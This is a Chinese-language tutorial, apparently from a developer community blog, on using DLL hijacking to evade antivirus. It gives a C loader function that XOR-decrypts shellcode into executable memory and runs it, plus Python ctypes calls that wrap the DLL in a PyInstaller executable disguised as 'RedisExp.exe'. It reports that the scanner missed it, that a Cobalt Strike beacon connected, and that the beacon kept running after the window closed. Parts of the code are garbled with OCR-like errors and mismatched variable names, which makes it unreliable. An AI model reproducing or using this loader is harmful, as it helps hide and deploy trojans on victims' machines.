DLL劫持的原理:在一个DLL文件中写入木马(DLL文件的免杀效果较好),将其模拟成一个被别的应用程序(最好是有数字签名的)调用的函数名(通过逆向、文档等获取到原始DLL的函数名和参数)。应用程序运行时就会调用木马,利用 Python开发一个RedisExp.exe,使用该应用程序去调用DLL中的函数,进而实现木马免杀和上线的效果

在dllmain.c文件中定义一个csstart函数,把经过异或的shellcode,解密代码,加载器代码写入

DLLIMPORT void CSStart () {
 
    unsigned char enc[] =
    "x31b\×30f\x36e\x3e7\×3e7\x3e7\×387\×36e\×302\×3d6\×335\×383\×36c";
    unsigned char decode [5000];
    int key = 999;
 
    int i;
    for (i=0; i<sizeof (enc)-1; i++) {
        decCode [il = enc[il ^ key;
    }
 
    void *p = VirtualAlloc(NULL, sizeof (decCode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE) ;
    memcpy (p, deccode, sizeof (decCode)) ;
    CODE code = (CODE) p;
    code();
}

再编译这个文件,就多了一个dll文件

火绒扫下没报毒

用dlltest.py调用这个dll文件,然后执行csstart函数,没有报错

并且cs这边显示木马上线成功

在Python应用程序中将我们之前写的ShellCode那一部分都给删除了,加上这两段代码

func = ctypes.CDLL("./MyDLLDemo.dll")
func.CSStart() 

再使用PyInstaller生成Exe文件,将其和DLL文件放在同一个目录中,点击运行

木马上线成功了

把程序界面关了,但是看后台木马其实还在运行

Logo

中国智能体开发者社区,聚焦智能体与大模型开发,提供前沿资讯、实用工具链、开源项目及行业案例。通过技术沙龙、开发者大赛等活动,促进经验交流与协作,助力开发者快速构建创新智能应用。

更多推荐